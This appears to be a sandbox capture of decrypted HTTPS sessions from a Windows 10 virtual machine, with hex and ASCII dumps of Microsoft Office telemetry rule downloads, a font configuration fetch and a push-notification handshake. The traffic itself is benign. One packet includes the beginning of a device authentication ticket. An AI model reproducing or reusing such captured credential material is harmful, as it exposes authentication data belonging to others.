2024-12-02 06:37:36 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=132544 Date: Mon, 02 Dec 2024 06:37:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 22106228-c01e-007a-5d36-40b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063737Z-174f7845968zgtf6hC1EWRqd8s0000000x0000000000710v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20d43c3b-001e-0049-3b6b-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063737Z-174f7845968nxc96hC1EWRspw800000013vg00000000337g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063737Z-174f78459688l8rvhC1EWRtzr00000000gmg000000009hg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 07e13988-c01e-0049-0444-44ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063737Z-174f7845968psccphC1EWRuz9s000000146g00000000dwrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:37 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6da3e3c6-601e-0084-52b4-426b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063737Z-174f7845968swgbqhC1EWRmnb40000001480000000003sgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49784	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 55 52 50 50 72 43 64 57 6b 79 47 33 5a 48 76 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 39 32 66 38 30 33 36 36 62 31 34 66 32 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dURPPrCdWkyG3ZHv.1Context: 6c92f80366b14f2d
2024-12-02 06:37:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-02 06:37:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 55 52 50 50 72 43 64 57 6b 79 47 33 5a 48 76 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 39 32 66 38 30 33 36 36 62 31 34 66 32 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 2f 59 7a 76 43 38 67 54 62 2f 6d 73 4c 2b 59 51 4e 38 6f 2f 31 72 67 68 4e 79 7a 63 4e 69 35 76 6c 65 57 31 71 77 67 51 44 70 56 57 76 46 48 43 66 77 76 57 6e 35 36 4c 6d 51 71 43 31 34 63 51 38 73 55 44 54 54 4a 6c 6f 7a 6a 30 68 6a 64 77 6e 6a 34 70 43 76 71 4c 79 51 67 4b 41 53 65 51 51 61 79 42 58 6e 47 2f 4c 45 66 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: dURPPrCdWkyG3ZHv.2Context: 6c92f80366b14f2d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAb/YzvC8gTb/msL+YQN8o/1rghNyzcNi5vleW1qwgQDpVWvFHCfwvWn56LmQqC14cQ8sUDTTJlozj0hjdwnj4pCvqLyQgKASeQQayBXnG/LEf/
2024-12-02 06:37:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 55 52 50 50 72 43 64 57 6b 79 47 33 5a 48 76 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 39 32 66 38 30 33 36 36 62 31 34 66 32 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dURPPrCdWkyG3ZHv.3Context: 6c92f80366b14f2d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-02 06:37:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-02 06:37:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 56 37 64 57 6b 35 70 6e 55 65 63 53 57 67 36 76 67 62 78 74 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bV7dWk5pnUecSWg6vgbxtw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49787	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:38 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-02 06:37:39 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=192466 Date: Mon, 02 Dec 2024 06:37:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-02 06:37:39 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0fbdb1d5-101e-0079-0270-435913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063739Z-174f7845968jrjrxhC1EWRmmrs000000144000000000abnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4c860516-801e-00a3-3252-437cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063739Z-174f78459684bddphC1EWRbht400000013v0000000003a6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:39 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9318b81d-501e-0035-5bd6-43c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063739Z-174f7845968frfdmhC1EWRxxbw000000146g000000001336 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d60b28b-101e-0017-33c7-4347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063739Z-174f7845968pf68xhC1EWRr4h800000014cg000000001pqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
